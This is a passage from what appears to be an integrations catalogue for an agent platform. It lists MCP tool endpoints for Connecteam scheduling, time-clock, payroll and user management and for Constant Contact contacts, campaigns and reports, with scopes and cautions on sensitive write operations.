/api/v1/connecteam/sales/v1/transactions. Scopes: api. connecteam_post_scheduler_v1_schedulers_by_schedulerid_shifts (write) — Create shifts (scheduler v1), via POST /scheduler/v1/schedulers/{schedulerId}/shifts. POST /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_post_scheduler_v1_schedulers_by_schedulerid_shifts_auto_assign (write) — Start shift auto-assign (scheduler v1), via POST /scheduler/v1/schedulers/{schedulerId}/shifts/auto-assign. ASYNCHRONOUS. It answers with a request id and returns before any shift is assigned; poll 'Get a shift auto-assign request's status (scheduler v1)' with that id until it reports completion. POST /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts/auto-assign. Scopes: api. connecteam_post_scheduler_v1_schedulers_by_schedulerid_unavailability (write) — Create a scheduler unavailability, via POST /scheduler/v1/schedulers/{schedulerId}/unavailability. POST /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/unavailability. Scopes: api. connecteam_post_scheduler_v2_schedulers_by_schedulerid_shifts (write) — Create shifts (scheduler v2), via POST /scheduler/v2/schedulers/{schedulerId}/shifts. POST /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_post_scheduler_v2_schedulers_by_schedulerid_shifts_auto_assign (write) — Start shift auto-assign (scheduler v2), via POST /scheduler/v2/schedulers/{schedulerId}/shifts/auto-assign. ASYNCHRONOUS. It answers with a request id and returns before any shift is assigned; poll 'Get a shift auto-assign request's status (scheduler v2)' with that id until it reports completion. POST /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts/auto-assign. Scopes: api. connecteam_post_settings_v1_webhooks (write) — Create a webhook, via POST /settings/v1/webhooks. POST /api/v1/connecteam/settings/v1/webhooks. Scopes: api. connecteam_post_tasks_v1_taskboards_by_taskboardid_tasks (write) — Create a task, via POST /tasks/v1/taskboards/{taskBoardId}/tasks. POST /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks. Scopes: api. connecteam_post_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid_sub_tasks (write) — Create a subtask, via POST /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks. POST /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks. Scopes: api. connecteam_post_time_clock_breadcrumbs_v1_report (write) — Start a breadcrumbs (GPS trail) report, via POST /time-clock/breadcrumbs/v1/report. ASYNCHRONOUS, and it produces employee LOCATION HISTORY. It starts a report and answers with a file id; poll 'Get a breadcrumbs report's status' until it is ready, then 'Get a breadcrumbs report's download link'. Catalogued as a write because it creates a report artifact, though it changes no time-clock data. POST /api/v1/connecteam/time-clock/breadcrumbs/v1/report. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_clock_in (write) — Clock a user in, via POST /time-clock/v1/time-clocks/{timeClockId}/clock-in. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/clock-in. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_clock_out (write) — Clock a user out, via POST /time-clock/v1/time-clocks/{timeClockId}/clock-out. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/clock-out. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_geofences (write) — Create geofences, via POST /time-clock/v1/time-clocks/{timeClockId}/geofences. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/geofences. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_manual_breaks_by_manualbreakid_clock_in (write) — Start a manual break, via POST /time-clock/v1/time-clocks/{timeClockId}/manual-breaks/{manualBreakId}/clock-in. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/manual-breaks/{manualBreakId}/clock-in. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_manual_breaks_clock_out (write) — End a manual break, via POST /time-clock/v1/time-clocks/{timeClockId}/manual-breaks/clock-out. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/manual-breaks/clock-out. Scopes: api. connecteam_post_time_clock_v1_time_clocks_by_timeclockid_time_activities (write) — Create time activities, via POST /time-clock/v1/time-clocks/{timeClockId}/time-activities. POST /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/time-activities. Scopes: api. connecteam_post_time_off_v1_requests (write) — Create a time-off request, via POST /time-off/v1/requests. POST /api/v1/connecteam/time-off/v1/requests. Scopes: api. connecteam_post_users_v1_admins (write) — Invite an admin, via POST /users/v1/admins. GRANTS ADMINISTRATIVE ACCESS to the Connecteam account. An invited admin can see and change what admins can see and change -- including, on an owner-level account, the API settings this connection's own key lives in. Catalogued as a write because it creates a record; read it as a permission change. POST /api/v1/connecteam/users/v1/admins. Scopes: api. connecteam_post_users_v1_custom_fields (write) — Create user custom fields, via POST /users/v1/custom-fields. POST /api/v1/connecteam/users/v1/custom-fields. Scopes: api. connecteam_post_users_v1_custom_fields_by_customfieldid_options (write) — Add options to a user custom field, via POST /users/v1/custom-fields/{customFieldId}/options. POST /api/v1/connecteam/users/v1/custom-fields/{customFieldId}/options. Scopes: api. connecteam_post_users_v1_pending_users (write) — Create pending users, via POST /users/v1/pending-users. POST /api/v1/connecteam/users/v1/pending-users. Scopes: api. connecteam_post_users_v1_smart_group_segments (write) — Create a smart group segment, via POST /users/v1/smart-group-segments. POST /api/v1/connecteam/users/v1/smart-group-segments. Scopes: api. connecteam_post_users_v1_smart_groups (write) — Create a smart group, via POST /users/v1/smart-groups. POST /api/v1/connecteam/users/v1/smart-groups. Scopes: api. connecteam_post_users_v1_users (write) — Create users, via POST /users/v1/users. BULK CREATE over a JSON ARRAY. Creating a user in Connecteam can send them an invitation, so this reaches real people; check the array before sending it rather than after. POST /api/v1/connecteam/users/v1/users. Scopes: api. connecteam_post_users_v1_users_by_userid_notes (write) — Add a note to a user, via POST /users/v1/users/{userId}/notes. POST /api/v1/connecteam/users/v1/users/{userId}/notes. Scopes: api. connecteam_post_users_v1_users_by_userid_payslips (write) — Add a payslip to a user, via POST /users/v1/users/{userId}/payslips. Attaches a payslip document to one employee. Payroll data about an identifiable person: the file arrives through the attachments flow, and who can read it afterwards is Connecteam's own permission model, not this connection's action picker. POST /api/v1/connecteam/users/v1/users/{userId}/payslips. Scopes: api. connecteam_put_attachments_v1_files_complete_upload_by_fileid (write) — Finish a file upload, via PUT /attachments/v1/files/complete-upload/{fileId}. STEP 3 OF 3: tells Connecteam the bytes have landed at the signed URL 'Start a file upload' issued. Calling it before the upload finished registers a file that is not there. PUT /api/v1/connecteam/attachments/v1/files/complete-upload/{fileId}. Scopes: api. connecteam_put_company_policies_v1_pay_rule_policies_by_payrulepolicyid_assignments (write) — Assign a user to a pay rule policy, via PUT /company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments. PUT /api/v1/connecteam/company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments. Scopes: api. connecteam_put_company_policies_v1_pay_rule_policies_by_payrulepolicyid_pay_rules_by_payruleid (write) — Add a pay rule to a pay rule policy, via PUT /company-policies/v1/pay-rule-policies/{payRulePolicyId}/pay-rules/{payRuleId}. PUT /api/v1/connecteam/company-policies/v1/pay-rule-policies/{payRulePolicyId}/pay-rules/{payRuleId}. Scopes: api. connecteam_put_company_policies_v1_scheduling_rule_policies_by_schedulingrulepolicyid_assignments (write) — Assign users to a scheduling rule policy, via PUT /company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}/assignments. PUT /api/v1/connecteam/company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}/assignments. Scopes: api. connecteam_put_company_policies_v1_users_by_userid_working_hours (write) — Set a user's custom working hours, via PUT /company-policies/v1/users/{userId}/working-hours. PUT /api/v1/connecteam/company-policies/v1/users/{userId}/working-hours. Scopes: api. connecteam_put_company_policies_v1_working_hours_policies_by_workinghourspolicyid_assignments (write) — Assign users to a working hours policy, via PUT /company-policies/v1/working-hours-policies/{workingHoursPolicyId}/assignments. PUT /api/v1/connecteam/company-policies/v1/working-hours-policies/{workingHoursPolicyId}/assignments. Scopes: api. connecteam_put_daily_info_v1_daily_note_by_noteid (write) — Update a daily note, via PUT /daily-info/v1/daily-note/{noteId}. PUT /api/v1/connecteam/daily-info/v1/daily-note/{noteId}. Scopes: api. connecteam_put_forms_v1_forms_by_formid_form_submissions_by_formsubmissionid (write) — Update a form submission, via PUT /forms/v1/forms/{formId}/form-submissions/{formSubmissionId}. PUT /api/v1/connecteam/forms/v1/forms/{formId}/form-submissions/{formSubmissionId}. Scopes: api. connecteam_put_forms_v1_forms_by_formid_questions_by_questionid_options_by_optionid (write) — Update a dropdown option, via PUT /forms/v1/forms/{formId}/questions/{questionId}/options/{optionId}. PUT /api/v1/connecteam/forms/v1/forms/{formId}/questions/{questionId}/options/{optionId}. Scopes: api. connecteam_put_jobs_v1_jobs_by_jobid (write) — Update a job, via PUT /jobs/v1/jobs/{jobId}. PUT /api/v1/connecteam/jobs/v1/jobs/{jobId}. Scopes: api. connecteam_put_pay_rates_v1_pay_rates (write) — Set pay rates, via PUT /pay-rates/v1/pay-rates. Writes what people are PAID, effective from a date. It is an upsert over the ids in the body rather than a patch of one row, so send the whole intended state for each user; a partial body is a pay change, not a no-op. PUT /api/v1/connecteam/pay-rates/v1/pay-rates. Scopes: api. connecteam_put_sales_v1_locations_by_locationid_daily_sales (write) — Set a location's projected daily sales, via PUT /sales/v1/locations/{locationId}/daily-sales. PUT /api/v1/connecteam/sales/v1/locations/{locationId}/daily-sales. Scopes: api. connecteam_put_scheduler_v1_schedulers_by_schedulerid_shifts (write) — Update shifts (scheduler v1), via PUT /scheduler/v1/schedulers/{schedulerId}/shifts. PUT /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_put_scheduler_v2_schedulers_by_schedulerid_shifts (write) — Update shifts (scheduler v2), via PUT /scheduler/v2/schedulers/{schedulerId}/shifts. PUT /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_put_settings_v1_webhooks_by_webhookid (write) — Update a webhook, via PUT /settings/v1/webhooks/{webhookId}. PUT /api/v1/connecteam/settings/v1/webhooks/{webhookId}. Scopes: api. connecteam_put_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid (write) — Update a task, via PUT /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}. PUT /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}. Scopes: api. connecteam_put_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid_sub_tasks_by_subtaskid (write) — Update a subtask, via PUT /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks/{subTaskId}. PUT /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks/{subTaskId}. Scopes: api. connecteam_put_time_clock_v1_time_clocks_by_timeclockid_time_activities (write) — Update time activities, via PUT /time-clock/v1/time-clocks/{timeClockId}/time-activities. PUT /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/time-activities. Scopes: api. connecteam_put_time_clock_v1_time_clocks_by_timeclockid_users_by_userid_lock_days (write) — Lock or unlock a user's timesheet days, via PUT /time-clock/v1/time-clocks/{timeClockId}/users/{userId}/lock-days. Locking a day freezes that user's timesheet for it -- neither they nor an admin can edit those hours until it is unlocked -- which is normally done once payroll has been run. The same tool unlocks. PUT /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/users/{userId}/lock-days. Scopes: api. connecteam_put_time_off_v1_policy_types_by_policytypeid_balances_by_userid (write) — Set a user's time-off balance, via PUT /time-off/v1/policy-types/{policyTypeId}/balances/{userId}. Sets a balance to a value rather than adding to it, so a read-modify-write built on a stale read silently overwrites whatever accrued in between. PUT /api/v1/connecteam/time-off/v1/policy-types/{policyTypeId}/balances/{userId}. Scopes: api. connecteam_put_time_off_v1_requests_by_requestid (write) — Update a time-off request, via PUT /time-off/v1/requests/{requestId}. PUT /api/v1/connecteam/time-off/v1/requests/{requestId}. Scopes: api. connecteam_put_time_off_v1_time_off_policies_by_timeoffpolicyid_assignments (write) — Assign a user to a time-off policy, via PUT /time-off/v1/time-off-policies/{timeOffPolicyId}/assignments. PUT /api/v1/connecteam/time-off/v1/time-off-policies/{timeOffPolicyId}/assignments. Scopes: api. connecteam_put_users_v1_custom_fields (write) — Update user custom fields, via PUT /users/v1/custom-fields. PUT /api/v1/connecteam/users/v1/custom-fields. Scopes: api. connecteam_put_users_v1_custom_fields_by_customfieldid_options_by_optionid (write) — Update a user custom field option, via PUT /users/v1/custom-fields/{customFieldId}/options/{optionId}. PUT /api/v1/connecteam/users/v1/custom-fields/{customFieldId}/options/{optionId}. Scopes: api. connecteam_put_users_v1_pending_users (write) — Update pending users' status, in bulk, via PUT /users/v1/pending-users. BULK, and this is the STATUS transition rather than the field edit -- it is how an invitation is resent or withdrawn across several pending users at once. Use 'Update a pending user' to change one person's details. PUT /api/v1/connecteam/users/v1/pending-users. Scopes: api. connecteam_put_users_v1_pending_users_by_pendinguserid (write) — Update a pending user, via PUT /users/v1/pending-users/{pendingUserId}. PUT /api/v1/connecteam/users/v1/pending-users/{pendingUserId}. Scopes: api. connecteam_put_users_v1_smart_groups_by_smartgroupid (write) — Update a smart group, via PUT /users/v1/smart-groups/{smartGroupId}. PUT /api/v1/connecteam/users/v1/smart-groups/{smartGroupId}. Scopes: api. connecteam_put_users_v1_users (write) — Update users, via PUT /users/v1/users. BULK UPDATE over a JSON ARRAY of users, each naming its own id. Fields you omit for a user are left alone, but every user in the array is written, so an array assembled from a stale read writes stale values back. PUT /api/v1/connecteam/users/v1/users. Scopes: api. connecteam_put_users_v1_users_by_userid_performance_by_date (write) — Set a user's performance for one date, via PUT /users/v1/users/{userId}/performance/{date}. PUT /api/v1/connecteam/users/v1/users/{userId}/performance/{date}. Scopes: api. ================================================================================ ## Constant Contact URL: https://www.agenticfabriq.com/integrations/constantcontact Section: Integrated Tools Constant Contact — 129 MCP tools Provider key: constantcontact. Scopes: account_read, account_update, campaign_data, contact_data. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. constantcontact_delete_contact_custom_fields_by_custom_field_id (write, destructive) — DELETE a custom_field via DELETE /contact_custom_fields/{custom_field_id} DELETE /api/v1/constantcontact/contact_custom_fields/{custom_field_id}. Scopes: contact_data. constantcontact_delete_contact_lists_by_list_id (write, destructive) — DELETE a List via DELETE /contact_lists/{list_id} DELETE /api/v1/constantcontact/contact_lists/{list_id}. Scopes: contact_data. constantcontact_delete_contact_tags_by_tag_id (write, destructive) — DELETE a Tag via DELETE /contact_tags/{tag_id} DELETE /api/v1/constantcontact/contact_tags/{tag_id}. Scopes: contact_data. constantcontact_delete_contacts_by_contact_id (write, destructive) — DELETE a Contact via DELETE /contacts/{contact_id} DELETE /api/v1/constantcontact/contacts/{contact_id}. Scopes: contact_data. constantcontact_delete_emails_activities_by_campaign_activity_id_abtest (write, destructive) — DELETE an A/B Test for an Email Campaign Activity via DELETE /emails/activities/{campaign_activity_id}/abtest DELETE /api/v1/constantcontact/emails/activities/{campaign_activity_id}/abtest. Scopes: campaign_data. constantcontact_delete_emails_activities_by_campaign_activity_id_non_opener_resends_by_resend_request_id (write, destructive) — DELETE a Resend to Non Openers Activity via DELETE /emails/activities/{campaign_activity_id}/non_opener_resends/{resend_request_id} DELETE /api/v1/constantcontact/emails/activities/{campaign_activity_id}/non_opener_resends/{resend_request_id}. Scopes: campaign_data. constantcontact_delete_emails_activities_by_campaign_activity_id_schedules (write, destructive) — DELETE an Email Campaign Activity Schedule via DELETE /emails/activities/{campaign_activity_id}/schedules DELETE /api/v1/constantcontact/emails/activities/{campaign_activity_id}/schedules. Scopes: campaign_data. constantcontact_delete_emails_by_campaign_id (write, destructive) — DELETE an Email Campaign via DELETE /emails/{campaign_id} DELETE /api/v1/constantcontact/emails/{campaign_id}. Scopes: campaign_data. constantcontact_delete_partner_webhooks_subscriptions_by_topic_id (write, destructive) — DELETE Webhook Topic Subscriptions via DELETE /partner/webhooks/subscriptions/{topic_id} DELETE /api/v1/constantcontact/partner/webhooks/subscriptions/{topic_id}. Scopes: account_update. constantcontact_delete_segments_by_segment_id (write, destructive) — DELETE a Segment via DELETE /segments/{segment_id} DELETE /api/v1/constantcontact/segments/{segment_id}. Scopes: contact_data. constantcontact_get_account_emails (read) — GET a Collection of Account Email Addresses via GET /account/emails GET /api/v1/constantcontact/account/emails. Scopes: account_read. constantcontact_get_account_summary (read) — GET a Summary of Account Details via GET /account/summary GET /api/v1/constantcontact/account/summary. Scopes: account_read. constantcontact_get_account_summary_company_logo (read) — GET the Company Logo for the Account via GET /account/summary/company_logo GET /api/v1/constantcontact/account/summary/company_logo. Scopes: account_read. constantcontact_get_account_summary_physical_address (read) — GET the Physical Address for the Account via GET /account/summary/physical_address GET /api/v1/constantcontact/account/summary/physical_address. Scopes: account_read. constantcontact_get_account_user_privileges (read) — GET User Privileges via GET /account/user/privileges GET /api/v1/constantcontact/account/user/privileges. Scopes: account_read. constantcontact_get_activities (read) — GET Activity Status Collection via GET /activities GET /api/v1/constantcontact/activities. Scopes: contact_data. constantcontact_get_activities_by_activity_id (read) — GET an Activity Status via GET /activities/{activity_id} GET /api/v1/constantcontact/activities/{activity_id}. Scopes: contact_data. constantcontact_get_automations_workflows (read) — List All Automations via GET /automations/workflows GET /api/v1/constantcontact/automations/workflows. Scopes: campaign_data. constantcontact_get_automations_workflows_by_automation_flow_id (read) — Retrieve an Automation via GET /automations/workflows/{automation_flow_id} GET /api/v1/constantcontact/automations/workflows/{automation_flow_id}. Scopes: campaign_data. constantcontact_get_contact_custom_fields (read) — GET custom_fields Collection via GET /contact_custom_fields GET /api/v1/constantcontact/contact_custom_fields. Scopes: contact_data. constantcontact_get_contact_custom_fields_by_custom_field_id (read) — GET a custom_field via GET /contact_custom_fields/{custom_field_id} GET /api/v1/constantcontact/contact_custom_fields/{custom_field_id}. Scopes: contact_data. constantcontact_get_contact_exports_by_file_export_id (read) — Retrieve Exported Contacts File via GET /contact_exports/{file_export_id} GET /api/v1/constantcontact/contact_exports/{file_export_id}. Scopes: contact_data. constantcontact_get_contact_lists (read) — GET Lists Collection via GET /contact_lists GET /api/v1/constantcontact/contact_lists. Scopes: contact_data. constantcontact_get_contact_lists_by_list_id (read) — GET a List via GET /contact_lists/{list_id} GET /api/v1/constantcontact/contact_lists/{list_id}. Scopes: contact_data. constantcontact_get_contact_lists_list_id_xrefs (read) — GET a collection of V2 and V3 API List IDs via GET /contact_lists/list_id_xrefs GET /api/v1/constantcontact/contact_lists/list_id_xrefs. Scopes: contact_data. constantcontact_get_contact_tags (read) — GET Details for All Tags via GET /contact_tags GET /api/v1/constantcontact/contact_tags. Scopes: contact_data. constantcontact_get_contact_tags_by_tag_id (read) — GET Tag Details via GET /contact_tags/{tag_id} GET /api/v1/constantcontact/contact_tags/{tag_id}. Scopes: contact_data. constantcontact_get_contacts (read) — GET Contacts Collection via GET /contacts GET /api/v1/constantcontact/contacts. Scopes: contact_data. constantcontact_get_contacts_by_contact_id (read) — GET a Contact via GET /contacts/{contact_id} GET /api/v1/constantcontact/contacts/{contact_id}. Scopes: contact_data. constantcontact_get_contacts_contact_id_xrefs (read) — GET a collection of V2 and V3 API contact IDs via GET /contacts/contact_id_xrefs GET /api/v1/constantcontact/contacts/contact_id_xrefs. Scopes: contact_data. constantcontact_get_contacts_counts (read) — GET Contact Consent Counts via GET /contacts/counts GET /api/v1/constantcontact/contacts/counts. Scopes: contact_data. constantcontact_get_contacts_sms_engagement_history_by_contact_id (read) — GET SMS Engagement History for a Contact via GET /contacts/sms_engagement_history/{contact_id} GET /api/v1/constantcontact/contacts/sms_engagement_history/{contact_id}. Scopes: contact_data. constantcontact_get_emails (read) — GET a Collection of Email Campaigns via GET /emails GET /api/v1/constantcontact/emails. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id (read) — GET a Single Email Campaign Activity via GET /emails/activities/{campaign_activity_id} GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id_abtest (read) — GET A/B Test Details for an Email Campaign Activity via GET /emails/activities/{campaign_activity_id}/abtest GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}/abtest. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id_non_opener_resends (read) — GET Details for a Resend to Non-openers Campaign Activity via GET /emails/activities/{campaign_activity_id}/non_opener_resends GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}/non_opener_resends. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id_previews (read) — GET the HTML Preview of an Email Campaign Activity via GET /emails/activities/{campaign_activity_id}/previews GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}/previews. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id_schedules (read) — GET an Email Campaign Activity Schedule via GET /emails/activities/{campaign_activity_id}/schedules GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}/schedules. Scopes: campaign_data. constantcontact_get_emails_activities_by_campaign_activity_id_send_history (read) — GET the Send History of an Email Campaign Activity via GET /emails/activities/{campaign_activity_id}/send_history GET /api/v1/constantcontact/emails/activities/{campaign_activity_id}/send_history. Scopes: campaign_data. constantcontact_get_emails_by_campaign_id (read) — GET Details About a Single Email Campaign via GET /emails/{campaign_id} GET /api/v1/constantcontact/emails/{campaign_id}. Scopes: campaign_data. constantcontact_get_emails_campaign_id_xrefs (read) — GET a Collection of V2 and V3 API Email Campaign Identifiers via GET /emails/campaign_id_xrefs GET /api/v1/constantcontact/emails/campaign_id_xrefs. Scopes: campaign_data. constantcontact_get_events (read) — GET a collection of events. via GET /events GET /api/v1/constantcontact/events. Scopes: campaign_data. constantcontact_get_events_by_event_id (read) — GET details for a single event. via GET /events/{event_id} GET /api/v1/constantcontact/events/{event_id}. Scopes: campaign_data. constantcontact_get_events_by_event_id_tracks_by_track_id_registrations (read) — Get a list of registrations for an event. via GET /events/{event_id}/tracks/{track_id}/registrations GET /api/v1/constantcontact/events/{event_id}/tracks/{track_id}/registrations. Scopes: campaign_data. constantcontact_get_events_by_event_id_tracks_by_track_id_registrations_by_registration_id (read) — Get registration details for an event. via GET /events/{event_id}/tracks/{track_id}/registrations/{registration_id} GET /api/v1/constantcontact/events/{event_id}/tracks/{track_id}/registrations/{registration_id}. Scopes: campaign_data. constantcontact_get_partner_accounts (read) — GET Partner Client Accounts via GET /partner/accounts GET /api/v1/constantcontact/partner/accounts. Scopes: account_read. constantcontact_get_partner_accounts_by_encoded_account_id_plan (read) — GET Billing Plan Details for a Client Account via GET /partner/accounts/{encoded_account_id}/plan GET /api/v1/constantcontact/partner/accounts/{encoded_account_id}/plan. Scopes: account_read. constantcontact_get_partner_webhooks_subscriptions (read) — GET a Collection of Webhook Topic Subscriptions via GET /partner/webhooks/subscriptions GET /api/v1/constantcontact/partner/webhooks/subscriptions. Scopes: account_read. constantcontact_get_partner_webhooks_subscriptions_by_topic_id (read) — GET Webhook Topic Subscription via GET /partner/webhooks/subscriptions/{topic_id} GET /api/v1/constantcontact/partner/webhooks/subscriptions/{topic_id}. Scopes: account_read. constantcontact_get_reports_contact_reports_by_contact_id_activity_details (read) — GET Contact Activity Details via GET /reports/contact_reports/{contact_id}/activity_details GET /api/v1/constantcontact/reports/contact_reports/{contact_id}/activity_details. Scopes: contact_data. constantcontact_get_reports_contact_reports_by_contact_id_activity_summary (read) — GET Contact Action Summary via GET /reports/contact_reports/{contact_id}/activity_summary GET /api/v1/constantcontact/reports/contact_reports/{contact_id}/activity_summary. Scopes: contact_data. constantcontact_get_reports_contact_reports_by_contact_id_open_and_click_rates (read) — GET Average Open and Click Rates via GET /reports/contact_reports/{contact_id}/open_and_click_rates GET /api/v1/constantcontact/reports/contact_reports/{contact_id}/open_and_click_rates. Scopes: contact_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_links (read) — GET an Email Links Report via GET /reports/email_reports/{campaign_activity_id}/links GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/links. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_bounces (read) — GET an Email Bounces Report via GET /reports/email_reports/{campaign_activity_id}/tracking/bounces GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/bounces. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_clicks (read) — GET an Email Clicks Report via GET /reports/email_reports/{campaign_activity_id}/tracking/clicks GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/clicks. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_didnotopens (read) — GET an Email Did Not Opens Report via GET /reports/email_reports/{campaign_activity_id}/tracking/didnotopens GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/didnotopens. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_forwards (read) — GET an Email Forwards Report via GET /reports/email_reports/{campaign_activity_id}/tracking/forwards GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/forwards. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_opens (read) — GET an Email Opens Report via GET /reports/email_reports/{campaign_activity_id}/tracking/opens GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/opens. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_optouts (read) — GET an Email Opt-outs Report via GET /reports/email_reports/{campaign_activity_id}/tracking/optouts GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/optouts. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_sends (read) — GET an Email Sends Report via GET /reports/email_reports/{campaign_activity_id}/tracking/sends GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/sends. Scopes: campaign_data. constantcontact_get_reports_email_reports_by_campaign_activity_id_tracking_unique_opens (read) — GET an Email Unique Opens Report via GET /reports/email_reports/{campaign_activity_id}/tracking/unique_opens GET /api/v1/constantcontact/reports/email_reports/{campaign_activity_id}/tracking/unique_opens. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_contact_opens (read) — GET a Contacts Opens Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_contact_opens GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_contact_opens. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_unique_contact_adds (read) — GET a Unique Contacts Adds Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_adds GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_adds. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_unique_contact_clicks (read) — GET a Unique Contacts Clicks Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_clicks GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_clicks. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_unique_contact_opens (read) — GET a Unique Contacts Opens Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_opens GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_opens. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_unique_contact_sms_optins (read) — GET a Unique Contacts SMS Opt-In Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_sms_optins GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_sms_optins. Scopes: campaign_data. constantcontact_get_reports_landing_pages_campaign_details_by_campaign_activity_id_p_unique_contact_updates (read) — GET a Unique Contacts Updates Landing Page Report via GET /reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_updates GET /api/v1/constantcontact/reports/landing_pages/campaign_details/{campaign_activity_id}/p_unique_contact_updates. Scopes: campaign_data. constantcontact_get_reports_stats_email_campaign_activities_by_campaign_activity_ids (read) — GET an Email Campaign Activity Stats Report via GET /reports/stats/email_campaign_activities/{campaign_activity_ids} GET /api/v1/constantcontact/reports/stats/email_campaign_activities/{campaign_activity_ids}. Scopes: campaign_data. constantcontact_get_reports_stats_email_campaigns_by_campaign_ids (read) — GET an Email Campaign Stats Report via GET /reports/stats/email_campaigns/{campaign_ids} GET /api/v1/constantcontact/reports/stats/email_campaigns/{campaign_ids}. Scopes: campaign_data. constantcontact_get_reports_summary_reports_email_campaign_summaries (read) — GET an Email Campaigns Summary Report via GET /reports/summary_reports/email_campaign_summaries GET /api/v1/constantcontact/reports/summary_reports/email_campaign_summaries. Scopes: campaign_data. constantcontact_get_reports_summary_reports_sms_campaign_summaries (read) — GET an SMS Campaigns Summary Report via GET /reports/summary_reports/sms_campaign_summaries GET /api/v1/constantcontact/reports/summary_reports/sms_campaign_summaries. Scopes: campaign_data. constantcontact_get_segments (read) — GET all Segments via GET 